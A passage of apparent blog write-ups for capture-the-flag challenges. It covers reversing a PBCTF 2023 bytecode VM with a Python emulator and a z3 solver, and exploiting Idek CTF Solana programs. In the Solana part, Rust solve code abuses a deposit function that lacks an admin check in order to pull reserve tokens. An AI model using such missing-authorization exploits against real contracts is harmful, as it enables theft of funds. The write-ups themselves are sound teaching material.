0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 159, 135, 179, 149, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 18, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 19, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 20, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 21, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 101, 155, 55, 49, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 22, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 24, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 25, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 171, 83, 202, 163, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 26, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 27, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 28, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 29, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 185, 145, 23, 145, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 30, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 31, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 32, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 33, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 161, 133, 218, 233, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 34, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 35, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 36, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 37, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 45, 118, 11, 90, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 38, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 39, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 40, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 41, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 1, 110, 10, 218, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 43, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 44, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 45, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 133, 137, 39, 72, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 47, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 48, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 49, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 190, 135, 104, 172, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 50, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 51, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 52, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 53, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 188, 209, 165, 38, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 54, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 55, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 56, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 57, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 2, 0, 0, 0, 68, 0, 0, 0, 238, 181, 61, 151, 0, 0, 0, 0, 0, 0, 0, 0, 23, 0, 0, 0, 2, 0, 0, 0, 65, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 69, 0, 0, 0]

import struct
bytecodes = struct.unpack(&quot;&amp;lt;252Q&quot;, bytes(LdConst[2:]))


flag=b&quot;b&quot;*64
class VM:
    def __init__(self, bytecodes: list):
        self.stack = []
        self.bytecodes = bytecodes
        self.idx = 0

    def pop(self):
        return self.stack.pop()

    def push(self, value):
        self.stack += [value]

    def go(self):
        while True:

            opcode = (self.bytecodes[self.idx] &amp;gt;&amp;gt; 32) &amp;amp; 255
            arg = self.bytecodes[self.idx] &amp;amp; (2**32 - 1)
            # print(f&quot;opcode: {opcode}, arg: {arg}&quot;)
            # input()
            self.execute(opcode, arg)
            

    def execute(self, opcode, arg):
        #b8
        if opcode == 0:
            self.push(arg)
            print(f&quot;push({arg})&quot;)
            self.idx += 1

        #b15
        elif opcode == 2:
            self.push(flag[arg])
            print(f&quot;push(flag[{arg}])&quot;)
            self.idx += 1


        #b17
        elif opcode == 16:
            a = self.pop()
            b = self.pop()
            c = a + b 
            c = c &amp;amp; (2**64 - 1)
            self.push(c)
            print(f&quot;push(pop({a}) + pop({b}) = {c})&quot;)
            self.idx += 1

        #b19
        elif opcode == 17:
            a = self.pop()
            b = self.pop()
            c = a ^ b
            self.push(c)           
            print(f&quot;push(pop({a}) ^ pop({b}) = {c})&quot;)
            self.idx += 1


        #b23
        elif opcode == 19:
            a = self.pop()
            b = self.pop()
            c = a &amp;amp; b
            self.push(c)               
            print(f&quot;push(pop({a}) &amp;amp; pop({b}) = {c})&quot;)
            self.idx += 1

        #b27
        elif opcode == 21:
            a = self.pop()
            a = a &amp;amp; 255
            b = self.pop()
            c = b &amp;gt;&amp;gt; a
            # c = a &amp;gt;&amp;gt; b
            self.push(c)   
            print(f&quot;push(pop({b}) &amp;gt;&amp;gt; pop({a}) = {c})&quot;)
            self.idx += 1

        #b29
        elif opcode == 22:
            a = self.pop()
            a = a &amp;amp; 255
            b = self.pop()
            c = b &amp;lt; a
            # c = b != a
            if c == True:
                self.push(1)
                c = 1
            else:
                self.push(0)  
                c = 0
            print(f&quot;push(pop({b}) &amp;lt; pop({a}) = {c})&quot;)
            self.idx += 1
            

        #b34
        elif opcode == 23:
            a = self.pop()
            b = self.pop()
            c = b == a
            if c == True:
                self.push(1)
                c = 1
            else:
                self.push(0)  
                c = 0
            print(f&quot;push(pop({b}) == pop({a}) = {c})&quot;)
            self.idx += 1

        #b39
        elif opcode == 48:
            a = self.pop()
            self.push(a)
            self.push(a)
            print(f&quot;dup(top)&quot;)
            self.idx += 1

        #b47
        elif opcode == 56:
            self.pop()
            print(f&quot;pop()&quot;)
            self.idx += 1


        #b49
        elif opcode == 57:
            a = self.pop()
            b = self.pop()
            self.push(a)
            self.push(b)
            print(f&quot;swap(top)&quot;)
            self.idx += 1

        #b51
        elif opcode == 58:
            a = self.pop()
            b = self.pop()
            c = self.pop()
            self.push(b)
            self.push(c)
            self.push(a)
            print(f&quot;swap(top-1)&quot;)
            self.idx += 1

       
        #b53
        elif opcode == 64:
            a = self.pop()
            if a == 0:
                self.idx += 1
            else:
                self.idx = arg


        #b57
        elif opcode == 65:
            a = self.pop()
            if a == 0:
                self.idx += 1
            else:
                self.idx += arg

        #b61
        elif opcode == 66:
            a = self.pop()
            if a == 0:
                # local[45] -= local[42]
                self.idx += 1
            else:
                self.idx -= arg

        #b65
        elif opcode == 67:
            self.idx = self.pop()

        #b67
        elif opcode == 68:
            # self.push(local[45] + 1)
            # local[42] = local[46]
            # local[45] = local[42]
            self.push(self.idx+1)
            self.idx = arg


        #b69
        elif opcode == 69:
            # self.push(local[45] + 1)
            # local[46] = 0
            # local[41] = 0
            # local[39] = 0
            print(&quot;exit&quot;)
            exit(-1)

        #b72
        elif opcode == 70:
            idx += 1

        else:
            self.idx += 1
            print(&quot;?&quot;)


vm = VM(bytecodes=bytecodes)
vm.go()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1677222413356&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python3 VM.py &amp;gt;&amp;gt; result&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;result&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/5f079e9fb580398bb7381e49d3d23dfb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/5f079e9fb580398bb7381e49d3d23dfb&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The&amp;nbsp;observed&amp;nbsp;pattern&amp;nbsp;is&amp;nbsp;that&amp;nbsp;the&amp;nbsp;flag&amp;nbsp;is&amp;nbsp;read&amp;nbsp;four&amp;nbsp;times&amp;nbsp;and&amp;nbsp;then&amp;nbsp;the&amp;nbsp;opcode&amp;nbsp;255&amp;nbsp;(&quot;?&quot;&amp;nbsp;output)&amp;nbsp;is&amp;nbsp;encountered&amp;nbsp;after&amp;nbsp;the&amp;nbsp;&quot;==operator.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Therefore,&amp;nbsp;it&amp;nbsp;was&amp;nbsp;thought&amp;nbsp;that&amp;nbsp;putting&amp;nbsp;the==`&amp;nbsp;operator&amp;nbsp;in&amp;nbsp;z3&amp;nbsp;would&amp;nbsp;work.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The analysis of lines ~678 of the result is as follows:&lt;br /&gt;Since the flag was initialized to b&quot;b&quot; = 98, we can focus on the operations and analyze them as follows:&lt;br /&gt;It&amp;nbsp;seems&amp;nbsp;that&amp;nbsp;the&amp;nbsp;same&amp;nbsp;logic&amp;nbsp;is&amp;nbsp;repeated&amp;nbsp;over&amp;nbsp;and&amp;nbsp;over&amp;nbsp;again,&amp;nbsp;which&amp;nbsp;is&amp;nbsp;fortunate.&lt;/p&gt;
&lt;pre id=&quot;code_1677222561735&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;flag = b&quot;bbbb&quot;

tmp = flag[0] ^ 0

# 8번 반복
for _ in range(8):
    tmp2 = tmp &amp;gt;&amp;gt; 1
    tmp3 = tmp &amp;amp; 1
    tmp4 = tmp3 ^ 4294967295
    tmp5 = tmp4 + 1
    tmp6 = 4294327160 &amp;amp; tmp5
    tmp7 = tmp2 ^ tmp6
    tmp = tmp7

tmp = flag[1] ^ tmp
# 8번 반복
for _ in range(8):
    tmp2 = tmp &amp;gt;&amp;gt; 1
    tmp3 = tmp &amp;amp; 1
    tmp4 = tmp3 ^ 4294967295
    tmp5 = tmp4 + 1
    tmp6 = 4294327160 &amp;amp; tmp5
    tmp7 = tmp2 ^ tmp6
    tmp = tmp7

tmp = flag[2] ^ tmp
# 8번 반복
for _ in range(8):
    tmp2 = tmp &amp;gt;&amp;gt; 1
    tmp3 = tmp &amp;amp; 1
    tmp4 = tmp3 ^ 4294967295
    tmp5 = tmp4 + 1
    tmp6 = 4294327160 &amp;amp; tmp5
    tmp7 = tmp2 ^ tmp6
    tmp = tmp7

tmp = flag[3] ^ tmp
# 8번 반복
for _ in range(8):
    tmp2 = tmp &amp;gt;&amp;gt; 1
    tmp3 = tmp &amp;amp; 1
    tmp4 = tmp3 ^ 4294967295
    tmp5 = tmp4 + 1
    tmp6 = 4294327160 &amp;amp; tmp5
    tmp7 = tmp2 ^ tmp6
    tmp = tmp7

2209421562 == tmp&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.py&lt;/p&gt;
&lt;pre id=&quot;code_1677222697162&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from z3 import *


def enc(g, f):
    tmp = 0
    for i in range(4):
        tmp = tmp ^ g[i]
        for j in range(8):
            tmp2 = tmp &amp;gt;&amp;gt; 1
            tmp3 = tmp &amp;amp; 1
            tmp4 = tmp3 ^ 4294967295
            tmp5 = tmp4 + 1
            tmp6 = 4294327160 &amp;amp; tmp5
            tmp7 = tmp2 ^ tmp6
            tmp = tmp7
    s.add(tmp == f)

flag = [BitVec(f'flag{i}', 64) for i in range(58)]
ans = [2209421562, 4020009855, 2511570847, 825727845, 2747945899, 2434240953, 3923412385, 1510700589, 3658116609, 1210550661, 2892531646, 648401340, 2537403886]

s = Solver()

s.add((((flag[0] &amp;lt;&amp;lt; 48) | (flag[1] &amp;lt;&amp;lt; 40) | (flag[2] &amp;lt;&amp;lt; 32) | (flag[3] &amp;lt;&amp;lt; 24) | (flag[4] &amp;lt;&amp;lt; 16) | (flag[5] &amp;lt;&amp;lt; 8) | flag[len(flag)-1]) ^ 29670774015617385) == 7049012482871828)

for i in flag:
    s.add(i&amp;gt;=0x20)
    s.add(i&amp;lt;=0x7f)


for i in range(13):
    enc(flag[6+4*i:6+4*i+4], ans[i])

print(s.check())
A = (s.model())

for i in flag:
    print(chr(A[i].as_long()), end=&quot;&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;pbctf{enjoy&amp;nbsp;haccing&amp;nbsp;blockchains?&amp;nbsp;work&amp;nbsp;for&amp;nbsp;Zellic:pepega:!}&lt;/i&gt;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/157</guid>
      <comments>https://gss1.tistory.com/entry/PBCTF-2023-revmove-VM#entry157comment</comments>
      <pubDate>Mon, 20 Feb 2023 17:51:57 +0900</pubDate>
    </item>
    <item>
      <title>Idek CTF 2023 pwn - (baby blockchain 1,2,3)</title>
      <link>https://gss1.tistory.com/entry/Idek-CTF-2023-pwn-baby-blockchain-123</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;I am writing write-ups of blockchain challenges because it is my goal.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As Otter Sec sponsored IdekCTF, there are three solana challenges.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The CTF was the first time I encountered Solana and Rust.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Considering that even a noob(me) could solve the problem, it can be thought that it was very easy to solve.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I&amp;nbsp;found&amp;nbsp;it&amp;nbsp;interesting&amp;nbsp;that&amp;nbsp;by&amp;nbsp;checking&amp;nbsp;the&amp;nbsp;diff&amp;nbsp;between&amp;nbsp;problems&amp;nbsp;1,&amp;nbsp;2,&amp;nbsp;and&amp;nbsp;3,&amp;nbsp;I&amp;nbsp;was&amp;nbsp;able&amp;nbsp;to&amp;nbsp;find&amp;nbsp;vulnerabilities.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;baby blockchain 1&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-1&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main.rs&lt;/p&gt;
&lt;pre id=&quot;code_1677129304320&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    if user_token_account.amount &amp;gt; 200 {
        writeln!(socket, &quot;congrats!&quot;)?;
        if let Ok(flag) = env::var(&quot;FLAG&quot;) {
            writeln!(socket, &quot;flag: {:?}&quot;, flag)?;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To gain flag, balance of user_account is greater than 200&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Looking into lib.rs, we find two function that has token::transfer.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;inside attempt&lt;/p&gt;
&lt;pre id=&quot;code_1677129460689&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;            token::transfer(withdraw_ctx, record.tries as u64)?;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;inside deposit&lt;/p&gt;
&lt;pre id=&quot;code_1677129479390&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        token::transfer(withdraw_ctx, amount)?;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;record.tries was initialized by 3 and when called it decreases by 1.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As I thought it is difficult to fill user_account with 200 by attempt, I examined &lt;b&gt;deposit&lt;/b&gt; closely.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;deposit is a function that sends token ffrom reserve to user.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In reserve, there exists an admin who manage the reserve(maybe?)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Therefore, withdrawing token from the reserve should only be allowd for admin.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, it execute token::transfer without checking if admin == user&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1677129684258&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    // where is verfication?
    pub fn deposit(ctx: Context&amp;lt;Deposit&amp;gt;, amount: u64) -&amp;gt; Result&amp;lt;()&amp;gt; {
        let reserve_bump = [*ctx.bumps.get(&quot;reserve&quot;).unwrap()];
        let signer_seeds = [
            b&quot;RESERVE&quot;,
            reserve_bump.as_ref()
        ];
        let signer = &amp;amp;[&amp;amp;signer_seeds[..]];

        let withdraw_ctx = CpiContext::new_with_signer(
            ctx.accounts.token_program.to_account_info(),
            Transfer {
                from: ctx.accounts.reserve.to_account_info(),
                to: ctx.accounts.user_account.to_account_info(),
                authority: ctx.accounts.reserve.to_account_info()
            },
            signer
        );
        token::transfer(withdraw_ctx, amount)?;
        Ok(())
    }

#[derive(Accounts)]
pub struct Deposit&amp;lt;'info&amp;gt; {
    #[account(
        mut,
        seeds = [ b&quot;CONFIG&quot; ],
        bump,
        has_one = admin
    )]
    pub config: Account&amp;lt;'info, Config&amp;gt;,

    #[account(
        mut,
        seeds = [ b&quot;RESERVE&quot; ],
        bump,
        constraint = reserve.mint == mint.key(),
    )]
    pub reserve: Account&amp;lt;'info, TokenAccount&amp;gt;,

    #[account(
        mut,
        seeds = [b&quot;account&quot;, user.key().as_ref()],
        bump,
        constraint = user_account.mint == mint.key(),
        constraint = user_account.owner == user.key(),
    )]
    pub user_account: Account&amp;lt;'info, TokenAccount&amp;gt;,

    pub mint: Account&amp;lt;'info, Mint&amp;gt;,

    #[account(mut)]
    pub admin: AccountInfo&amp;lt;'info&amp;gt;, // here
    
    #[account(mut)]
    pub user:  Signer&amp;lt;'info&amp;gt;,
    pub token_program: Program&amp;lt;'info, Token&amp;gt;,
    pub system_program: Program&amp;lt;'info, System&amp;gt;,
    pub rent: Sysvar&amp;lt;'info, Rent&amp;gt;,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;pre id=&quot;code_1677130080447&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        // your instruction goes here
        let cpi_accounts2 = chall::cpi::accounts::Deposit {
            config: ctx.accounts.config.to_account_info(),
            reserve: ctx.accounts.reserve.to_account_info(),
            user_account: ctx.accounts.user_account.to_account_info(),
            mint: ctx.accounts.mint.to_account_info(),
            admin: ctx.accounts.admin.to_account_info(),
            user: ctx.accounts.user.to_account_info(),
            token_program: ctx.accounts.token_program.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx2 = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts2);
        chall::cpi::deposit(cpi_ctx2, 200 as u64)?;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;baby blockchain 2&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-2&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main.rs is identical to blockchain-1&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The&amp;nbsp;diff&amp;nbsp;result&amp;nbsp;of&amp;nbsp;lib.rs&amp;nbsp;is&amp;nbsp;as&amp;nbsp;follows:&lt;/p&gt;
